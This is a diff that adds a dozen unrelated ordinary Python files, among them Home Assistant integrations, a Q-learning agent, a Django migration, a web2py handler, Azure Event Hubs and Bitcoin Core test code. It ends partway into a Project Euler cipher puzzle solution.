b/pool/shard008/Python/0078313_bucket.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python +# vim: ai ts=4 sts=4 et sw=4 + + +from .base import BackendBase + + +class BucketBackend(BackendBase): + def start(self): + self.bucket = [] + BackendBase.start(self) + + def receive(self, identity, text): + msg = self.message(identity, text) + self.router.incoming_message(msg) + self.bucket.append(msg) + return msg + + def send(self, msg): + self.bucket.append(msg) + return True diff --git a/pool/shard008/Python/0078315_config_flow.py b/pool/shard008/Python/0078315_config_flow.py new file mode 100644 index 0000000000000000000000000000000000000000..24161c059c122bf94c398bdb6a1b807d501787eb --- /dev/null +++ b/pool/shard008/Python/0078315_config_flow.py @@ -0,0 +1,116 @@ +"""Config flow for SpaceX Launches and Starman.""" +import logging + +from aiohttp import ClientError +from auroranoaa import AuroraForecast +import voluptuous as vol + +from homeassistant import config_entries +from homeassistant.const import CONF_LATITUDE, CONF_LONGITUDE, CONF_NAME +from homeassistant.core import callback +from homeassistant.helpers import aiohttp_client + +from .const import ( # pylint: disable=unused-import + CONF_THRESHOLD, + DEFAULT_NAME, + DEFAULT_THRESHOLD, + DOMAIN, +) + +_LOGGER = logging.getLogger(__name__) + + +class ConfigFlow(config_entries.ConfigFlow, domain=DOMAIN): + """Handle a config flow for NOAA Aurora Integration.""" + + VERSION = 1 + CONNECTION_CLASS = config_entries.CONN_CLASS_CLOUD_POLL + + @staticmethod + @callback + def async_get_options_flow(config_entry): + """Get the options flow for this handler.""" + return OptionsFlowHandler(config_entry) + + async def async_step_user(self, user_input=None): + """Handle the initial step.""" + errors = {} + + if user_input is not None: + name = user_input[CONF_NAME] + longitude = user_input[CONF_LONGITUDE] + latitude = user_input[CONF_LATITUDE] + + session = aiohttp_client.async_get_clientsession(self.hass) + api = AuroraForecast(session=session) + + try: + await api.get_forecast_data(longitude, latitude) + except ClientError: + errors["base"] = "cannot_connect" + except Exception: # pylint: disable=broad-except + _LOGGER.exception("Unexpected exception") + errors["base"] = "unknown" + else: + await self.async_set_unique_id( + f"{user_input[CONF_LONGITUDE]}_{user_input[CONF_LATITUDE]}" + ) + self._abort_if_unique_id_configured() + return self.async_create_entry( + title=f"Aurora - {name}", data=user_input + ) + + return self.async_show_form( + step_id="user", + data_schema=vol.Schema( + { + vol.Required(CONF_NAME, default=DEFAULT_NAME): str, + vol.Required( + CONF_LONGITUDE, + default=self.hass.config.longitude, + ): vol.All( + vol.Coerce(float), + vol.Range(min=-180, max=180), + ), + vol.Required( + CONF_LATITUDE, + default=self.hass.config.latitude, + ): vol.All( + vol.Coerce(float), + vol.Range(min=-90, max=90), + ), + } + ), + errors=errors, + ) + + +class OptionsFlowHandler(config_entries.OptionsFlow): + """Handle options flow changes.""" + + def __init__(self, config_entry): + """Initialize options flow.""" + self.config_entry = config_entry + + async def async_step_init(self, user_input=None): + """Manage options.""" + + if user_input is not None: + return self.async_create_entry(title="", data=user_input) + + return self.async_show_form( + step_id="init", + data_schema=vol.Schema( + { + vol.Required( + CONF_THRESHOLD, + default=self.config_entry.options.get( + CONF_THRESHOLD, DEFAULT_THRESHOLD + ), + ): vol.All( + vol.Coerce(int), + vol.Range(min=0, max=100), + ), + } + ), + ) diff --git a/pool/shard008/Python/0078316_agent.py b/pool/shard008/Python/0078316_agent.py new file mode 100644 index 0000000000000000000000000000000000000000..669d707c70d26524a8394656f977eb968dbf8801 --- /dev/null +++ b/pool/shard008/Python/0078316_agent.py @@ -0,0 +1,136 @@ +# -*- coding: utf-8 -*- + +import collections +import numpy as np + + +class Agent(object): + """An agent that produce moves in an arbitrary discrete environment + and learns from reward.""" + + def __init__(self, initial_pos, limit_pos, possible_moves): + self._initial_pos = initial_pos + self._pos = np.array(initial_pos, dtype=np.float) + self._last_pos = collections.deque([]) + self._last_dpos = collections.deque([]) + self._limit_pos = limit_pos + self._possible_moves = possible_moves + self._exclude_out_of_bounds_moves = True + self._values = collections.defaultdict(lambda: collections.defaultdict(float)) + self._gamma = 0.8 + self._alpha = .25 + self._total_reward = 0. + self._lambda_softmax = 0.5 + self._max_lambda_softmax = 50. + self._stubbornness = 0.1 + + self._agent_ln = None # reference to line object for plotting position + + # extensions + self._adaptive_lambda_softmax = True + + def _clear_history(self): + """clears lists of all past states and actions""" + self._last_pos.clear() + self._last_dpos.clear() + + def set_pos(self, pos): + """sets the agent to a certain position""" + self._clear_history() + self._pos = pos + + def get_pos(self): + """returns the position of the agent""" + return np.array(self._pos, dtype=np.int) + + def reset_position(self): + """resets agent to initial position""" + self.set_pos(self._initial_pos) + + def reset_reward(self): + """resets the collected reward to zero""" + self._total_reward = 0. + + def move(self, dpos): + """updates the position of the agent to positions + dpos""" + + new_pos = self._pos + dpos + self._last_dpos.appendleft(dpos.copy()) + self._last_pos.appendleft(self._pos.copy()) + self._pos = new_pos + + def step(self, reward): + """evaluate reward from previous move and perform a new move""" + self._total_reward += reward + dpos = self._select_action() + self._update_values(reward) + self.move(dpos) + return dpos + + def _update_values(self, reward): + """updates predictions based on reward and previous state via Q-learning""" + if self._last_pos and self._last_dpos: + lpos = self._last_pos[0] + ldpos = self._last_dpos[0] + + V_t = self._values[tuple(lpos)][tuple(ldpos)] + V_tp = np.max(list(self._values[tuple(self._pos)].values())) + dV = self._alpha * (reward + self._gamma * V_tp - V_t) + + self._values[tuple(lpos)][tuple(ldpos)] += dV + + if self._adaptive_lambda_softmax: + # update exploration/exploitation behviour according to + # change of value, i.e., surprise + self._update_lambda_softmax(dV) + + def _select_action(self): + """selects the next move based on current predictions""" + valid_moves = self._currently_valid_moves() + + rewards = np.zeros(len(valid_moves)) + + for i, move in enumerate(valid_moves): + rewards[i] = self._values[tuple(self._pos)][tuple(move)] + + # convert reward to probabilities via softmax + p_rewards = self._softmax(rewards) + + return valid_moves[np.random.choice(np.arange(len(valid_moves)), p=p_rewards)] + + def _currently_valid_moves(self): + """returns valid moves based on current position""" + if self._exclude_out_of_bounds_moves: + valid_moves = [] + for move in self._possible_moves: + if np.all(self._pos + move >= 0.) and np.all(self._pos + move < self._limit_pos): + valid_moves.append(move) + return valid_moves + else: + return self._possible_moves + + def _softmax(self, x): + max_x = np.max(x) # substract maximum to avoid exp overflow + return np.exp(self._lambda_softmax * (x - max_x)) / np.sum(np.exp(self._lambda_softmax * (x - max_x))) + + def plot(self, ax): + pos = self._pos[::-1] + 0.5 + if self._agent_ln is None: + self._agent_ln, = ax.plot(pos, ls='', marker='o', color='r', markersize=20) + else: + self._agent_ln.set_data(pos) + + def plot_value(self, ax): + ax.cla() + for pos in self._values: + for dpos in self._possible_moves: + val = np.round(self._values[pos][tuple(dpos)], 2) + ax.text(pos[1] + 0.5 + 0.15 * dpos[1], pos[0] + 0.5 + 0.15 * dpos[0], val, ha='center', va='center', fontsize=15) + + def _update_lambda_softmax(self, dV): + """updates the scaling factor in softmax balancing the amount of sub-optimal moves""" + self._lambda_softmax += (0.5 - 1. / (1. + np.exp(-(abs(dV) - self._stubbornness)))) + + # out of bounds checks + self._lambda_softmax = np.max([0., self._lambda_softmax]) + self._lambda_softmax = np.min([self._max_lambda_softmax, self._lambda_softmax]) diff --git a/pool/shard008/Python/0078317_0016_auto_20161220_1313.py b/pool/shard008/Python/0078317_0016_auto_20161220_1313.py new file mode 100644 index 0000000000000000000000000000000000000000..4970c5f8d6c9c336b73bcee4c8c70954b30fd4f6 --- /dev/null +++ b/pool/shard008/Python/0078317_0016_auto_20161220_1313.py @@ -0,0 +1,38 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.10.2 on 2016-12-20 13:13 +from __future__ import unicode_literals + +from django.conf import settings +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ('events', '0015_auto_20161213_2000'), + ] + + operations = [ + migrations.CreateModel( + name='StaggeredPlaylist', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('title', models.CharField(max_length=256)), + ('created', models.DateTimeField(auto_now_add=True)), + ('platform', models.CharField(choices=[('pc', 'PC'), ('ps4', 'PS 4'), ('xb1', 'XBox One'), ('ps3', 'PS 3'), ('xb3', 'XBox 360')], default='pc', max_length=8)), + ('creator', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), + ], + ), + migrations.AddField( + model_name='staggeredstartrace', + name='number_in_playlist', + field=models.PositiveSmallIntegerField(default=0), + ), + migrations.AddField( + model_name='staggeredstartrace', + name='staggeredplaylist', + field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='events.StaggeredPlaylist'), + ), + ] diff --git a/pool/shard008/Python/0078318_modpythonhandler.py b/pool/shard008/Python/0078318_modpythonhandler.py new file mode 100644 index 0000000000000000000000000000000000000000..388f37ebf69d5e992a9aefdc3ffa18845e6cd82c --- /dev/null +++ b/pool/shard008/Python/0078318_modpythonhandler.py @@ -0,0 +1,228 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +This file is part of the web2py Web Framework +Copyrighted by Massimo Di Pierro +License: LGPLv3 (http://www.gnu.org/licenses/lgpl.html) + +WSGI wrapper for mod_python. Requires Python 2.2 or greater. +Part of CherryPy mut modified by Massimo Di Pierro (2008) for web2py + + + SetHandler python-program + PythonHandler modpythonhandler + PythonPath \"['/path/to/web2py/'] + sys.path\" + PythonOption SCRIPT_NAME /myapp + + +Some WSGI implementations assume that the SCRIPT_NAME environ variable will +always be equal to 'the root URL of the app'; Apache probably won't act as +you expect in that case. You can add another PythonOption directive to tell +modpython_gateway to force that behavior: + + PythonOption SCRIPT_NAME /mcontrol + +The module.function will be called with no arguments on server shutdown, +once for each child process or thread. +""" + +import traceback +import sys +import os +from mod_python import apache + +path = os.path.dirname(os.path.abspath(__file__)) +os.chdir(path) + +if not os.path.isdir('applications'): + raise RuntimeError('Running from the wrong folder') + +sys.path = [path] + [p for p in sys.path if not p == path] + +import gluon.main + + +class InputWrapper(object): + """ Input wrapper for the wsgi handler """ + + def __init__(self, req): + """ InputWrapper constructor """ + + self.req = req + + def close(self): + """ """ + + pass + + def read(self, size=-1): + """ Wrapper for req.read """ + + return self.req.read(size) + + def readline(self, size=-1): + """ Wrapper for req.readline """ + + return self.req.readline(size) + + def readlines(self, hint=-1): + """ Wrapper for req.readlines """ + + return self.req.readlines(hint) + + def __iter__(self): + """ Defines a generator with the req data """ + + line = self.readline() + while line: + yield line + + # Notice this won't prefetch the next line; it only + # gets called if the generator is resumed. + line = self.readline() + + +class ErrorWrapper(object): + """ Error wrapper for the wsgi handler """ + + def __init__(self, req): + """ ErrorWrapper constructor """ + + self.req = req + + def flush(self): + """ """ + + pass + + def write(self, msg): + """ Logs the given msg in the log file """ + + self.req.log_error(msg) + + def writelines(self, seq): + """ Writes various lines in the log file """ + + self.write(''.join(seq)) + + +bad_value = "You must provide a PythonOption '%s', either 'on' or 'off', when running a version of mod_python < 3.1" + + +class Handler: + """ Defines the handler """ + + def __init__(self, req): + """ Handler constructor """ + + self.started = False + options = req.get_options() + + # Threading and forking + try: + q = apache.mpm_query + threaded = q(apache.AP_MPMQ_IS_THREADED) + forked = q(apache.AP_MPMQ_IS_FORKED) + except AttributeError: + threaded = options.get('multithread', '').lower() + + if threaded == 'on': + threaded = True + elif threaded == 'off': + threaded = False + else: + raise ValueError(bad_value % 'multithread') + + forked = options.get('multiprocess', '').lower() + + if forked == 'on': + forked = True + elif forked == 'off': + forked = False + else: + raise ValueError(bad_value % 'multiprocess') + + env = self.environ = dict(apache.build_cgi_env(req)) + + if 'SCRIPT_NAME' in options: + # Override SCRIPT_NAME and PATH_INFO if requested. + env['SCRIPT_NAME'] = options['SCRIPT_NAME'] + env['PATH_INFO'] = req.uri[len(options['SCRIPT_NAME']):] + + env['wsgi.input'] = InputWrapper(req) + env['wsgi.errors'] = ErrorWrapper(req) + env['wsgi.version'] = (1, 0) + env['wsgi.run_once'] = False + + if env.get('HTTPS') in ('yes', 'on', '1'): + env['wsgi.url_scheme'] = 'https' + else: + env['wsgi.url_scheme'] = 'http' + + env['wsgi.multithread'] = threaded + env['wsgi.multiprocess'] = forked + + self.request = req + + def run(self, application): + """ Run the application """ + + try: + result = application(self.environ, self.start_response) + + for data in result: + self.write(data) + + if not self.started: + self.request.set_content_length(0) + + if hasattr(result, 'close'): + result.close() + except: + traceback.print_exc(None, self.environ['wsgi.errors']) + + if not self.started: + self.request.status = 500 + self.request.content_type = 'text/plain' + data = 'A server error occurred. Please contact the ' + \ + 'administrator.' + self.request.set_content_length(len(data)) + self.request.write(data) + + def start_response(self, status, headers, exc_info=None): + """ Defines the request data """ + + if exc_info: + try: + if self.started: + raise exc_info[0], exc_info[1], exc_info[2] + finally: + exc_info = None + + self.request.status = int(status[:3]) + + for (key, val) in headers: + if key.lower() == 'content-length': + self.request.set_content_length(int(val)) + elif key.lower() == 'content-type': + self.request.content_type = val + else: + self.request.headers_out.add(key, val) + + return self.write + + def write(self, data): + """ Write the request data """ + + if not self.started: + self.started = True + + self.request.write(data) + + +def handler(req): + """ Execute the gluon app """ + + Handler(req).run(gluon.main.wsgibase) + return apache.OK diff --git a/pool/shard008/Python/0078321_partition_context.py b/pool/shard008/Python/0078321_partition_context.py new file mode 100644 index 0000000000000000000000000000000000000000..3f45981d6252cf6515a9b74dad6a5053f1faf2e8 --- /dev/null +++ b/pool/shard008/Python/0078321_partition_context.py @@ -0,0 +1,98 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# ----------------------------------------------------------------------------------- + +from typing import Dict, Optional, Any, TYPE_CHECKING +import logging +from .checkpoint_store import CheckpointStore +from ..._utils import get_last_enqueued_event_properties + +if TYPE_CHECKING: + from ..._common import EventData + +_LOGGER = logging.getLogger(__name__) + + +class PartitionContext(object): + """Contains partition related context information. + + A `PartitionContext` instance will be passed to the event, error and initialization callbacks defined + when calling `EventHubConsumerClient.receive()`. + Users can call `update_checkpoint()` of this class to persist checkpoint data. + """ + + def __init__( + self, + fully_qualified_namespace: str, + eventhub_name: str, + consumer_group: str, + partition_id: str, + checkpoint_store: CheckpointStore = None, + ) -> None: + self.fully_qualified_namespace = fully_qualified_namespace + self.partition_id = partition_id + self.eventhub_name = eventhub_name + self.consumer_group = consumer_group + self._last_received_event = None # type: Optional[EventData] + self._checkpoint_store = checkpoint_store + + @property + def last_enqueued_event_properties(self) -> Optional[Dict[str, Any]]: + """The latest enqueued event information. + + This property will be updated each time an event is received if the receiver is created + with `track_last_enqueued_event_properties` set to `True`. + The properties dict includes following information of the last enqueued event: + + - `sequence_number` (int) + - `offset` (str) + - `enqueued_time` (UTC datetime.datetime) + - `retrieval_time` (UTC datetime.datetime) + + :rtype: dict or None + """ + if self._last_received_event: + return get_last_enqueued_event_properties(self._last_received_event) + return None + + async def update_checkpoint(self, event: Optional["EventData"] = None, **kwargs: Any) -> None: + """Updates the receive checkpoint to the given events offset. + + :param ~azure.eventhub.EventData event: The EventData instance which contains the offset and + sequence number information used for checkpoint. + :rtype: None + """ + if self._checkpoint_store: + checkpoint_event = event or self._last_received_event + if checkpoint_event: + checkpoint = { + "fully_qualified_namespace": self.fully_qualified_namespace, + "eventhub_name": self.eventhub_name, + "consumer_group": self.consumer_group, + "partition_id": self.partition_id, + "offset": checkpoint_event.offset, + "sequence_number": checkpoint_event.sequence_number, + } + try: + await self._checkpoint_store.update_checkpoint(checkpoint, **kwargs) + except TypeError as e: + if "update_checkpoint() got an unexpected keyword argument" in str( + e + ): + _LOGGER.info( + "The provided checkpointstore method 'update_checkpoint' does not accept keyword arguments," + " so keyword arguments will be ignored. Please update method signature to support kwargs." + ) + await self._checkpoint_store.update_checkpoint(checkpoint) + else: + raise e + else: + _LOGGER.warning( + "namespace %r, eventhub %r, consumer_group %r, partition_id %r " + "update_checkpoint is called without checkpoint store. No checkpoint is updated.", + self.fully_qualified_namespace, + self.eventhub_name, + self.consumer_group, + self.partition_id, + ) diff --git a/pool/shard008/Python/0078325_p2p_i2p_ports.py b/pool/shard008/Python/0078325_p2p_i2p_ports.py new file mode 100644 index 0000000000000000000000000000000000000000..54d42b119bd9f85bbac77156bfa92ea88acdca26 --- /dev/null +++ b/pool/shard008/Python/0078325_p2p_i2p_ports.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python3 +# Copyright (c) 2021-2021 The Bitcoin Core developers +# Distributed under the MIT software license, see the accompanying +# file COPYING or http://www.opensource.org/licenses/mit-license.php. +""" +Test ports handling for I2P hosts +""" + +import re + +from test_framework.test_framework import BitcoinTestFramework + + +class I2PPorts(BitcoinTestFramework): + def set_test_params(self): + self.num_nodes = 1 + # The test assumes that an I2P SAM proxy is not listening here. + self.extra_args = [["-i2psam=127.0.0.1:60000"]] + + def run_test(self): + node = self.nodes[0] + + self.log.info("Ensure we don't try to connect if port!=0") + addr = "zsxwyo6qcn3chqzwxnseusqgsnuw3maqnztkiypyfxtya4snkoka.b32.i2p:8333" + raised = False + try: + with node.assert_debug_log( + expected_msgs=[f"Error connecting to {addr}"]): + node.addnode(node=addr, command="onetry") + except AssertionError as e: + raised = True + if not re.search( + r"Expected messages .* does not partially match log", + str(e)): + raise AssertionError( + f"Assertion raised as expected, but with an unexpected message: {str(e)}") + if not raised: + raise AssertionError("Assertion should have been raised") + + self.log.info( + "Ensure we try to connect if port=0 and get an error due to missing I2P proxy") + addr = "h3r6bkn46qxftwja53pxiykntegfyfjqtnzbm6iv6r5mungmqgmq.b32.i2p:0" + with node.assert_debug_log( + expected_msgs=[f"Error connecting to {addr}"]): + node.addnode(node=addr, command="onetry") + + +if __name__ == '__main__': + I2PPorts().main() diff --git a/pool/shard008/Python/0078327_test_heap.py b/pool/shard008/Python/0078327_test_heap.py new file mode 100644 index 0000000000000000000000000000000000000000..bc9f97efc004561aa742f863502f8c2d5cc39ced --- /dev/null +++ b/pool/shard008/Python/0078327_test_heap.py @@ -0,0 +1,58 @@ +# _*_ encoding: utf-8 _*_ +"""Test heap.py.""" +import pytest + + +def test_new_heap(): + """Test heap instance is an instance of the heap class.""" + from heap import Heap + a_heap = Heap() + assert isinstance(a_heap, Heap) + + +def test_sort_heap_toward_root(): + """Test heaps can be sorted toward the root.""" + from heap import Heap + my_heap = Heap([14, 10, 16, 9, 8, 7, 3]) + my_heap._heap_sort_toward_root(0, 2) + assert my_heap.heap == [16, 10, 14, 9, 8, 7, 3] + + +def test_sort_from_root(): + """Test heaps can be sorted away from the root.""" + from heap import Heap + my_heap = Heap([16, 14, 10, 1, 9, 8, 7, 3]) + my_heap._heap_sort_from_root(3) + assert my_heap.heap == [16, 14, 10, 3, 9, 8, 7, 1] + + +def test_push_heap(): + """Test the push heap method with a list given at instantiation.""" + from heap import Heap + new_heap = Heap([16, 14, 10, 9, 8, 7, 3]) + new_heap.push_heap(100) + assert new_heap.heap[0] == 100 + + +def test_push_heap_01(): + """Test pushing an item into an empty heap.""" + from heap import Heap + new_heap1 = Heap() + new_heap1.push_heap(5) + assert new_heap1.heap[0] == 5 + + +def test_pop_heap(): + """Test popping an item out of a populated heap.""" + from heap import Heap + second_heap = Heap([16, 14, 10, 9, 8, 7, 3]) + second_heap.pop_heap() + assert second_heap.heap == [14, 9, 10, 3, 8, 7] + + +def test_pop_empty_heap(): + """Test appropriate error is raised when popping an empty heap.""" + from heap import Heap + new_heap = Heap() + with pytest.raises(IndexError): + new_heap.pop_heap() diff --git a/pool/shard008/Python/0078328_hydraulics_playback.py b/pool/shard008/Python/0078328_hydraulics_playback.py new file mode 100644 index 0000000000000000000000000000000000000000..761b644e20c0eceb70e50d6e450e33b88f816e08 --- /dev/null +++ b/pool/shard008/Python/0078328_hydraulics_playback.py @@ -0,0 +1,253 @@ +#!/usr/bin/python + +# Hydraulics playback +# manages playback data. Will read current playback into an array +# (and yes, this means that you can blow out memory if the playback data is too long) + +import os +import datetime +import time +import logging +from threading import Lock + +import event_manager +import hydraulics_drv + +playbackList = [] +playbackDir = "./playbacks/" +playbackData = [] +playbackDataIdx = 0 +currentPlayback = None +recordingFilename = None +recordingStopTime = 0 +recordingFile = None +recordingSources = "sculpture, controller" +recordingSource = "controller" +fileMutex = Lock() + +# XXX - should the playback file specify the interval in which it is expected to run? Probably... +logger = logging.getLogger('playback') + +def init(playbackDirectory=playbackDir, playbackName=None): + global playbackDir + global currentPlayback + global recordingSource + logger.info("Hydraulics playback init, playback dir {}, file {}".format(playbackDirectory, playbackName)) + playbackDir = playbackDirectory + currentPlayback = None + try: + # look at directory containing playback files. Read into an array + global playbackList + + # if playbacks folder doesn't exist, create one + if not os.path.exists(playbackDir): + os.makedirs(playbackDir) + + playbackList = os.listdir(playbackDir) + badFiles = [] + potentialCurrentPlayback = None + for i in range(len(playbackList)): + fileName = playbackList[i] + if not fileName.endswith(".rec"): + badFiles.append(fileName) + elif fileName == "currentPlayback.rec": + potentialCurrentPlayback = os.path.realpath(playbackDir + "/currentPlayback.rec") + badFiles.append(fileName) + else: + fileName = fileName[:-4] + playbackList[i] = fileName + + for fileName in badFiles: + playbackList.remove(fileName) + + if playbackName != None and playbackName in playbackList: + setCurrentPlayback(playbackName) + elif potentialCurrentPlayback != None and potentialCurrentPlayback in playbackList: + setCurrentPlayback(potentialCurrentPlayback) + + if currentPlayback == None and len(playbackList) > 0: + setCurrentPlayback(playbackList[0]) + + event_manager.addListener(_eventHandler, "pos") + setRecordingSource("controller") + + except Exception: + logger.exception('Error initializing playback') + +def shutdown(): + logger.info("Hydraulics playback shutdown") + stopRecording() + +def getPlaybackList(): + ''' Return list of all available recorded sequences (playbacks)''' + return playbackList + +def getSpecifiedPlaybackData(playbackName): + ''' Returns data associated with the specified playback. Used for visualization''' + with open(playbackDir + "/" + playbackName + ".rec") as f: + playbackData = map(float, f) + readableData = [] + for i in range(0, len(playbackData)/3): + datum = {"x":playbackData[i*3], + "y":playbackData[i*3 + 1], + "z":playbackData[i*3 + 2]} + readableData.append(datum) + return readableData + +def renamePlayback(oldName, newName): + ''' Rename a playback. Necessary since by default playbacks are named with a timestamp''' + global playbackList + if not oldName in playbackList: + return # XXX throw exception + if os.path.isfile(playbackDir + oldName + ".rec"): + os.rename(playbackDir + oldName + ".rec", playbackDir + newName + ".rec") + for i in range(len(playbackList)): + if playbackList[i] == oldName: + playbackList[i] = newName + break + +def startRecording(): + global recordingFile + global recordingFilename + global recordingStopTime + if recordingFile != None: + log.warning("Recording file already exists!") + raise Exception("Recording file already exists!") + + recordingFile, recordingFilename = _getNewRecordingFile() + recordingStopTime = time.time() + 30 # maximum recording time 30 seconds. + logger.info("Start recording to file {}".format(recordingFile)) + + +def setRecordingSource(source): + global recordingSource + if source in recordingSources: + recordingSource = source + else: + logger.warning("Attempting to set invalid recording source {}, ignoring".format(source)) + +def getRecordingSource(): + return recordingSource + +def getRecordingSources(): + return recordingSources + +def _eventHandler(msg): + if ((recordingFilename != None) and (msg["msgType"] == "pos")): + if recordingStopTime > time.time(): + if recordingSource == "sculpture": + x = msg["xx"] + y = msg["yy"] + z = msg["zz"] + else: # recording controller position + x = msg["x"] + y = msg["y"] + z = msg["z"] + + fileMutex.acquire() + recordingFile.write("%03f\n%03f\n%03f\n" % (x,y,z)) + fileMutex.release() + else: + logger.info("Timeout - Auto stopping recording") + stopRecording() + +def stopRecording(): + global recordingFile + global recordingFilename + + logger.info("Stopping Recording") + + if recordingFile != None: + fileMutex.acquire() + recordingFile.close() + fileMutex.release() + recordingFile = None + + if recordingFilename != None: + playbackList.append(recordingFilename) + recordingFilename = None + + +def isRecording(): + return (recordingFilename != None) + +def deleteRecording(recordingName): + if recordingName in playbackList: + os.remove(playbackDir + recordingName + ".rec") + playbackList.remove(recordingName) + else: + log.warn("Recording file {} not found".format(recordingName)) + + +def setCurrentPlayback(playbackName): + ''' Read desired playback into memory, and set up internal cursor to the beginning + of the playback. Also link to playback file from currentPlayback.rec''' + global playbackData + global currentPlayback + try: + if not playbackName in playbackList: + return # XXX throw exception + with open(playbackDir + "/" + playbackName + ".rec") as f: + playbackData = map(float, f) + playbackDataIdx = 0 + currentPlayback = playbackName + try: + os.remove(playbackDir + "/currentPlayback.rec") + except OSError: + pass # + os.symlink(playbackName + ".rec", playbackDir + "/currentPlayback.rec") + except IOError: + logger.warn("Playback file {} not found".format(playbackName)) + +def getCurrentPlayback(): + ''' Get name of current playback''' + return currentPlayback + +def getPlaybackData(): + ''' Returns x,y,z of current playback data. There is an internal cursor to + the current data, so this function can be called repeatedly to run through + the playback''' + global playbackDataIdx + x = 0 + y = 0 + z = 0 + try: + x = playbackData[playbackDataIdx] + y = playbackData[playbackDataIdx + 1] + z = playbackData[playbackDataIdx + 2] + except IndexError: + pass + + playbackDataIdx = playbackDataIdx + 3 + if (len(playbackData) <= playbackDataIdx): + playbackDataIdx = 0 +# logger.info("End of playback data. May wrap. May not") + # XXX - message to system - end of playback. Can trigger playback stop + +# logger.debug("Playback returns {} {} {}, idx is {}, playback file is {}".format(x,y,z, playbackDataIdx, currentPlayback)) + return x, y, z + +def _getNewRecordingFile(): + filename = time.strftime("%m-%d-%y__%H:%M:%S", time.gmtime()) + file = open(playbackDir + filename + ".rec", "w+") + return file, filename + +if __name__ == "__main__": + logging.basicConfig(format='%(asctime)-15s %(levelname)s %(module)s %(lineno)d: %(message)s', level=logging.DEBUG) + try: + event_manager.init() + hydraulics_drv.init() + init() + + startRecording() + time.sleep(40) + except KeyboardInterrupt: + pass + except Exception: + logger.exception("Unexpected exception in test") + + shutdown() + hydraulics_drv.shutdown() + event_manager.shutdown() + + diff --git a/pool/shard008/Python/0078329_folder.py b/pool/shard008/Python/0078329_folder.py new file mode 100644 index 0000000000000000000000000000000000000000..c47565292cd98ef3660c8de8a414361e3e0cd795 --- /dev/null +++ b/pool/shard008/Python/0078329_folder.py @@ -0,0 +1,44 @@ +# Copyright 2015 Isotoma Limited +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import os + +from touchdown.core import argument, errors +from touchdown.core.plan import Plan +from touchdown.core.resource import Resource +from touchdown.core.workspace import Workspace + + +class LocalFolder(Resource): + + resource_name = "local_folder" + + name = argument.String() + root = argument.Resource(Workspace) + + def clean_name(self, name): + return os.path.abspath(os.path.expanduser(name)) + + +class Describe(Plan): + + resource = LocalFolder + name = "describe" + + def get_actions(self): + if not os.path.isdir(self.resource.name): + raise errors.NotFound( + '"{}" could not be found, or is not a folder'.format(self.resource) + ) + return [] diff --git a/pool/shard008/Python/0078332_switch.py b/pool/shard008/Python/0078332_switch.py new file mode 100644 index 0000000000000000000000000000000000000000..e68bed34cfac4e47eb9e931f01d5815f3bf99a2a --- /dev/null +++ b/pool/shard008/Python/0078332_switch.py @@ -0,0 +1,97 @@ +"""Support for Sony projectors via SDCP network control.""" +import logging + +import pysdcp +import voluptuous as vol + +from homeassistant.components.switch import PLATFORM_SCHEMA, SwitchDevice +from homeassistant.const import CONF_HOST, CONF_NAME, STATE_OFF, STATE_ON +import homeassistant.helpers.config_validation as cv + +_LOGGER = logging.getLogger(__name__) + +DEFAULT_NAME = "Sony Projector" + +PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend( + { + vol.Required(CONF_HOST): cv.string, + vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, + } +) + + +def setup_platform(hass, config, add_entities, discovery_info=None): + """Connect to Sony projector using network.""" + + host = config[CONF_HOST] + name = config[CONF_NAME] + sdcp_connection = pysdcp.Projector(host) + + # Sanity check the connection + try: + sdcp_connection.get_power() + except ConnectionError: + _LOGGER.error("Failed to connect to projector '%s'", host) + return False + _LOGGER.debug("Validated projector '%s' OK", host) + add_entities([SonyProjector(sdcp_connection, name)], True) + return True + + +class SonyProjector(SwitchDevice): + """Represents a Sony Projector as a switch.""" + + def __init__(self, sdcp_connection, name): + """Init of the Sony projector.""" + self._sdcp = sdcp_connection + self._name = name + self._state = None + self._available = False + self._attributes = {} + + @property + def available(self): + """Return if projector is available.""" + return self._available + + @property + def name(self): + """Return name of the projector.""" + return self._name + + @property + def is_on(self): + """Return if the projector is turned on.""" + return self._state + + @property + def state_attributes(self): + """Return state attributes.""" + return self._attributes + + def update(self): + """Get the latest state from the projector.""" + try: + self._state = self._sdcp.get_power() + self._available = True + except ConnectionRefusedError: + _LOGGER.error("Projector connection refused") + self._available = False + + def turn_on(self, **kwargs): + """Turn the projector on.""" + _LOGGER.debug("Powering on projector '%s'...", self.name) + if self._sdcp.set_power(True): + _LOGGER.debug("Powered on successfully.") + self._state = STATE_ON + else: + _LOGGER.error("Power on command was not successful") + + def turn_off(self, **kwargs): + """Turn the projector off.""" + _LOGGER.debug("Powering off projector '%s'...", self.name) + if self._sdcp.set_power(False): + _LOGGER.debug("Powered off successfully.") + self._state = STATE_OFF + else: + _LOGGER.error("Power off command was not successful") diff --git a/pool/shard008/Python/0078334_059_Solution.py b/pool/shard008/Python/0078334_059_Solution.py new file mode 100644 index 0000000000000000000000000000000000000000..a38db7bc98827e6921f5ffe2ba7947b41b30ae0e --- /dev/null +++ b/pool/shard008/Python/0078334_059_Solution.py @@ -0,0 +1,93 @@ +''' +Created on 19.08.2013 + +@author: Walter + +Each character on a computer is assigned a unique code and the preferred +standard is ASCII (American Standard Code for Information Interchange). For +example, uppercase A = 65, asterisk (*) = 42, and lowercase k = 107. + +A modern encryption method is to take a text file, convert the bytes to 